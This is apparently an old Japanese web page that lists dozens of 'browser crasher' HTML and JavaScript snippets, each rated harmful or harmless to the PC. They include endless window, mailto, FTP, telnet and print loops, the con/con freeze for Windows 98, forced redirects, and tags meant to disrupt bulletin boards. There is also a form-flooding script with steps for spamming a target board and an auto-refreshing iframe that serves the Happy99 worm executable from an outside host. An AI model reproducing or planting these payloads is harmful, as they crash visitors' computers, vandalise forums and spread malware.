目次

メールストーム
FDDアタック
conconクラッシャー
ニュースストーム
ldapストーム
ソースストーム
FTP接続ストーム
ブラウザくるくる
ブラウザ伸び縮み
CPUリソースフラッド
無限アラート
ウィンドウオープン
無限ウィンドウオープン
無限ファイルオープン
以下のタグ全て表示
以下のタグ全て無効
ウィンドウを消す
強制的に戻る
マーキー
強制印刷
巨大な字
大量文字
掲示板自動投稿
チカチカ
字の上下左右変更
炎のような文字
字に影
危険らしいもの
巨大な水平線
改行禁止回避
ページ強制移動
ブラウザ内検索
Winのスタッフロール
クラッシュ
字が変になる
字がもっと変になる
縦書き
字に背景色をつける
タグ全表示
オンマウスで字が消える
オンマウスで字が巨大化
フルスクリーン
ウィンドウが消える
バツストーム
アイフレームストーム
ぼやけ字
自動スクロール
ストレンジストーム
Telnetストーム
IE落とし
画面真っ赤
フォーム解析型攻撃スクリプト
強制ボタン変換
読み込み停止
ハッキングもどき
フルスクリーン2
ブラウザランダム移動
クラッシュミー
印刷ストーム
Happy99ストーム
└───────────┘
 メールストーム

<IMG SRC="mailto:01"><IMG SRC="mailto:02"><IMG SRC="mailto:03">〜と増やす。

<SCRIPT langage="JavaScript">
<!--
for (i=0;i<1000000000;++i){
document.write('<IMG src="mailto:' + i + '">');
}
//-->
</SCRIPT>

PC有害。メールのウィンドウは負担をかけるそうです。
だからいっぱい開くとフリーズするんですね。
 FDDアタック

<SCRIPT language="javascript">
<!--
for (i=0; i<1000000000; ++i) {
document.write('<IMG src="a:' + i + '.jpg">');
}
//-->
</SCRIPT>

<IMG SRC="a:\1.jpg"><IMG SRC="a:\2.jpg"><IMG SRC="a:\3.jpg">〜と増やす。

PC有害。aドライブに1.jpgというファイルを探しに行く為、フリーズします。
だからFDDがaドライブじゃないと無意味。空のFDDにアクセスし続けると破損の可能性あり。
ウィンドウズならEscキーでFDDへのアクセス止められるそうです。
 conconクラッシャー

<img src="file:/con/con/con">

PC有害。winがフリーズするconcon問題です。
98系OSで修正パッチ当ててないと危険。XP無害。
 ニュースストーム

<SCRIPT langage="JavaScript">
<!--
for (i=0;i<100000001;++i){
document.write('<iframe src="news://www.' + i + '.ne" height=0% width=0%>');
}
//-->
</SCRIPT>

PC有害。ニュースウィンドウを大量表示。
 ldapストーム

<SCRIPT langage="JavaScript">
<!--
for (i=1;i<501;++i){
document.write('<LAYER LEFT=0 TOP=0 WIDTH=0% HEIGHT=0% SRC="ldap://www.' + i + '.net">
<IFRAME LEFT=0 TOP=0 WIDTH=0% HEIGHT=0% SRC="ldap://www.yahoo.com">');
}
//-->
</SCRIPT>

PC有害。メーラーの、「人の検索」の画面が大量に出る。
 ソースストーム

<SCRIPT langage="JavaScript">
<!--
for (;;) {
document.write('<iframe src="view-source:http://www.yahoo.com" height=0% width=0%>');
}
//-->
</SCRIPT>

PC有害。メモ帳の嵐。ためしに踏んでみましたが、ブラウザが落ちました。
 FTP接続ストーム

<SCRIPT langage="JavaScript">
<!--
for (i=1;i<501;++i){
document.write('<iframe src="ftp://www.yahoo.com" height=0% width=0%>');
}
//-->
</SCRIPT>

PC有害。連続してFTPに接続。
 ブラウザくるくる

<script>
resizeTo( 100, 100 );
x = ( screen.width - 100 ) / 2;
y = ( screen.height - 100 ) / 2;
r = y;
d = 0.0;
function circulate() {
moveTo( x + Math.cos( d ) * r, y - Math.sin( d ) * r );
d += Math.PI / 5.0;
if ( d >= Math.PI * 2 ) { d = 0.0; }
}
setInterval( 'circulate()', 100 );
</script>

PC無害。ウィンドウが小さくなって回る。
 ブラウザ伸び縮み

<script>
var x,y,w,h;
var pls = true;
var mlt = 0.1;
function rythm() {
w = screen.width * mlt;
h = screen.height * mlt;
x = ( screen.width - w ) / 2;
y = ( screen.height - h ) / 2;
moveTo( x, y );
resizeTo( w, h );
if ( pls ) { mlt += 0.1; if ( mlt >= 1.0 ) pls = false; }
else { mlt -= 0.1; if ( mlt <= 0.1 ) pls = true; }
}
setInterval( 'rythm()', 100 );
</script>

PC無害。ブラウザが伸び縮みする。
 CPUリソースフラッド

<form> <input type="button" value="Crash IE 5.0" onclick="document.body.style.display='none'" style="position: absolute; left: 40%; top: 50%; background: #777777;"> </form>

PC有害。IE 5.0をターゲットとしたバグ。IE 5.0以外無効(らしい)
 無限アラート

<SCRIPT LANGUAGE="JavaScript">
 for ( ; ; ) {
 window.alert("強制終了してください。")
 }
 </SCRIPT>

<p style=left:expression(alert("強制終了してください。"))>

<span style=left:expression(alert("強制終了してください。"))>

<font style=left:expression(alert("強制終了してください。"))>

PC有害…?span や font の部分はほかにも色々変更できるようです。
*例:s、b、marquee、img、input、hr、br、div、a、form、textarea、等々。style要素が含まれればなんでも使えるみたいです。
 ウィンドウオープン

<SCRIPT LANGUAGE="JavaScript">
<!--
for(i=0;i<1000;++i)
{
window.open();
}
-->
</SCRIPT>

PC有害。ウィンドウを1000個オープン。ブラウザークラッシャーですね。
 無限ウィンドウオープン

<BODY Onload="var i=0;while(1){open('./'.i++);}">

<SCRIPT>
for(;;) {
window.open();
}
</SCRIPT>

<p style=left:expression(window.open())>

<span style=left:expression(window.open())>

<font style=left:expression(window.open())>

PC有害。span や font の部分はほかにも色々変更できるようです。
*例:s、b、marquee、img、input、hr、br、div、a、form、textarea、等々。style要素が含まれればなんでも使えるみたいです。
 無限ファイルオープン

<body onload="var i=0;while(1){open('./',i++);}">

PC有害。その名の通り。
 以下のタグ全て表示

<xmp>

<Plaintext>

PC無害。BBSでタグが表示されると記事の除去が難しくなる。でも殆どのBBSは対策とられてます。
 以下のタグ全て無効

<title>

<comment>

<applet>

<style>

<noscript>

<noembed>

<plaintext>

<listing>

<noframes>

<noscript>

PC無害。これも、BBSで使われると困りますね。同じく対策はとられてる場合が多い。
 ウィンドウを消す

<BODY Onload="parent.close();">

<BODY onLoad=setTimeout('window.close()',1);>

PC無害。いきなり消えたり、消えなかったり。
 強制的に戻る

<BODY Onload="self.history.back();">

PC無害。進めない。意味ない。何に使うんだ。
 マーキー

<Marquee>

<Marquee scrollamount=500>

PC無害。以下のもの全て動き回る、<xmp>とあわせるともっと危険
 強制印刷

<SCRIPT language="JavaScript">
<!--
window.print();
-->
</SCRIPT>

PC有害・・・?キャンセルしたらそれでお終い。
 巨大な字

<SPAN STYLE="FONT-SIZE:10000pt">

PC無害。BBSに使われると非常に困りますね・・
 大量文字

<body onload=for(;;){document.write('鸞');}>

PC有害。大量の字でフリーズさせるようです。
 掲示板自動投稿

<img src="http://www.******/
action=regist&name=
名無しさん&email=&subject=あかさたな&value=あかさたな">

PC無害。アクセスするたびに自動的に投稿するらしいけど、使えない と言う声多数。私も使えませんでした。
 チカチカ

<script>
function flash(n){
document.bgColor=(n++%2)?"red":"blue";setTimeout("flash("+n+")",50)
}
</script>
<form>
<input type=button value="FLASH!" onclick="flash(0)">
</form>

PC無害。FLASH!と書いてあるボタンを押すと背景が点滅。
 字の上下左右変更

<span style="width:100%; filter:FlipV()">

<font style="text-align:right;width:100%; filter:FlipH()">

PC無害。上は上下変更、下は左右変更。
 炎のような文字

<span style="width:100%; filter:glow(color=red)">

PC無害。字に火がついたようになる。
 字に影

<span style="width:100%; filter:Shadow(color=red)">

PC無害。字に影をつける。読みにくくなる。
 危険らしいもの

<input type crash>

PC有害。なんだかウィルスが検出されました。よく分かりません。
 巨大な水平線

<hr size=1000 width=1000 noshade>

PC無害。巨大な水平線を表示。
 改行禁止回避

<pre>

PC無害。改行を禁止しているBBSでも改行ができる。
 ページ強制移動

<meta http-equiv=refresh content="0; url=http://〜〜">

<font style="background:url(javascript:location.href='http://〜〜')">

PC無害。ページを即移動。内容が読めない。
 ブラウザ内検索

<isindex>

PC無害。ブラウザ内を検索するテキストエリアが出る。これ危険?
 Winのスタッフロール

<!-- introducing the Trident team -->

PC無害。Winのスタッフロールがでる。
 クラッシュ

<object classid="#">

PC無害。クラッシュする。
 字が変になる

<font face="WingDings">

PC無害。アルアベットが記号になる。WingDingsというフォントがインストールされていないと意味が無い。
 字がもっと変になる

<font color="blue" face="symbol" size="5">

PC無害。字が読めなくなる。symbolというフォントがインストールされていないと意味が無い。
 縦書き

<DIV style="writing-mode:tb-rl;">

PC無害。字が縦書きになる。
 字に背景をつける

<span style="width:100%; filter:Mask( color=red)">

PC無害。背景が赤になる。目に悪いし読みにくいです。
 タグ全部表示

<TEXTAREA ROWS="100%" COLS="100%">

PC無害。以下のタグ全部をテキストエリアに入れる。
 オンマウスで字が消える

<DIV onmouseover="this.innerText=' '">

PC無害。これより下のものにカーソルが乗ると消してしまう。
 オンマウスで字が巨大化

<SPAN onmouseover="this.style.fontSize = 30;">

PC無害。これより下の字にカーソルが乗ると字が巨大化。
 フルスクリーン

<A HREF="#" ONCLICK='window.open("about:blank", "new", "fullscreen=yes")'>

PC無害。下の字を全部リンクにし、おしたらフルスリーンにする。
 ウィンドウが消える

<FORM>
<INPUT NAME="botan" TYPE="BUTTON" ONCLICK="moveTo(100000,100000);" value="おみくじ★">
</FORM>

PC無害。本当は消すわけじゃなく、画面外に移動させて見えなくする
おみくじ★ってボタンがでますが真っ赤な嘘です。
 バツストーム

<SCRIPT language="javascript">
<!--
for (i=0; i<100000000000000; ++i) {
document.write('<IMG src="' + i + '.swf">');
}
//-->
</SCRIPT>

PC有害。×が大量に出る。
 アイフレームストーム

<SCRIPT language="javascript">
<!--
for (i=0; i<100000000000000; ++i) {
document.write('<IFRAME SRC="' + i + '.html" WIDTH="500" HEIGHT="500" NAME="' + i + '"></IFRAME>');
}
//-->
</SCRIPT>

PC有害。アイフレームを大量に表示。
 ぼやけ字

<span style="font-size:20px;width:100%;filter:blur(add=false,direction=90,strength=5)">

PC無害。字がぼやける。サンプル
 自動スクロール

<img src="JavaScript: setInterval( 'scrollBy( 0, 30 )', 100 );">

PC無害。結局はJavascriptで動作してるので、Javascriptをきれば問題なし。
 ストレンジストーム

<SCRIPT language="JavaScript">
for(;;) {
window.open('mailto:1');
window.open('file:///A|/2.jpg');
window.open('news://www.3.com');
window.open('ldap://www.yahoo.com');
window.open('view-source:http://www.yahoo.com');
window.open('ftp://www.yahoo.com');
}
</SCRIPT>

PC有害。mailtoストーム+FDDアタック+ニュースストーム+ldapストーム+ソースストーム+FTP接続ストーム とストームのオンパレード
mailtoストームだけでもメモリ不足になります。
 Telnetストーム

<SCRIPT langage="JavaScript">
<!--
for (i=1;i<100;++i){
document.write('<LAYER LEFT=0 TOP=0 WIDTH=0% HEIGHT=0% SRC="telnet://' + i + '">
<IFRAME LEFT=0 TOP=0 WIDTH=0% HEIGHT=0% SRC="telnet://www.warez.com/">');
}
//-->
</SCRIPT>

PC有害。Telnet接続画面を大量に出す。
 IE落とし

<STYLE>@;/*</STYLE>

PC有害?試しに踏んだけど、本当にIEが落ちた。IE専用?
 画面真っ赤

<p style="position: absolute; top: -135px; left: -20px; width: 9999999px; height:9999999px; background:#ff0000">

PC無害。画面が真っ赤になる。思いのほか強力。
 フォーム解析型攻撃スクリプト

<script Language=JavaScript>
function attack() {
f = document.forms[ parseInt( document.menu.fid.value ) ];
s = document.menu.txt.value;
for ( i = 0; i < f.elements.length; i++ ) {
if ( f.elements[i].value == '' ) {
f.elements[i].value = s;
}
}
f.submit();
}
</script>
<form name="menu">
<textarea name="txt" rows=5 cols=60>
</textarea>

フォーム番号 <input type=text name=fid value=0 size=4>
<input type=button value=" 攻撃開始 " onClick="iid = setInterval( 'attack()', 1000 );">
<input type=button value=" 攻撃停止 " onClick="clearInterval( iid );">
</form>

PC無害。
1:投稿フォームのあるページを保存する
2:保存したページをエディタで開いて上のスクリプトを貼り付ける
3:ターゲットの投稿フォームのformタグにtarget=topを追加

 強制ボタン変換

<button>

PC無害。これより下の字を全てボタンにする。
 読み込み停止

<img src="JavaScript: stop();">

PC無害。ページの読み込みを停止する。ネスケのみ。
 ハッキングもどき

<layer left=0 top=0 width=100% height=100% src=http://〜>

PC無害。上から指定したページをかぶせる。BBSに仕掛けたら、一瞬BBSをハックされたのかと間違える・・かも。ネスケのみ。
 フルスクリーン2

<img src="JavaScript:open( 'http://〜', 'hey', 'fullscreen=yes' );">

PC無害。ページを読み込んだ瞬間、指定したページをフルスクリーンで表示。
 ブラウザランダム移動

<img src="JavaScript: resizeTo( 100, 100 ); setInterval( 'moveTo( Math.random() * screen.width, Math.random() * screen.height )', 500 ); ">

PC無害。ブラウザを小さくして、ランダムの場所へ移動。Alt+F4でポイ
 クラッシュミー

<SCRIPT type="text/javascript">
var xOff=5; var yOff=5;
var xPos=400; var
yPos=-100; var flagRun=1;
function openWindow(){
window.open('win23.html','_blank','menubar=no,status=no,toolbar=no,resizable=no,width=160,height=1,titlebar=no,alwaysRaised=yes');} function proCreate(){openWindow();
openWindow();openWindow();
openWindow();openWindow();
openWindow();openWindow();
openWindow();openWindow();
openWindow();}
function newXlt(){
xOff=Math.ceil(0-6*Math.random())*5-10;}
function newXrt(){
xOff=Math.ceil(7*Math.random())*5-10;}
function newYup(){
yOff=Math.ceil(0-6*Math.random())*5-10;}
function newYdn(){
yOff=Math.ceil(7*Math.random())*5-10;}
function fOff(){flagRun=0;}
function playBall(){
xPos+=xOff;yPos+=yOff;if(xPos>screen.width-175){newXlt();}
if(xPos<0){newXrt();}
if(yPos>screen.height-100){newYup();}
if(yPos<0){newYdn();}
if(flagRun==1){
window.moveTo(xPos,yPos);
window.focus();
setTimeout('playBall()',1);}}
</SCRIPT>
</HEAD><BODY onload="playBall()" onunload="proCreate()">

PC有害。言わずもがな。
 印刷ストーム

<body onload="var i=0;while(1){window.print('./',i++);}" oncontextmenu="return false" onkeydown="alert('無効');return false;" onClick="return false">
<script language="javascript">
<!--
{
window.print("print.htm");
}
//-->
</script>
<meta http-equiv="Refresh" content="1">

PC有害。プリントする前にブラウザが死ぬ罠。
 Happy99ストーム

<iframe src="http://easyweb.easynet.co.uk/~hiros/virii99/newtype/Happy99.exe">
<meta http-equiv="Refresh" content="0">

PC有害。Happy99のダウンロード画面が大量に出てくる。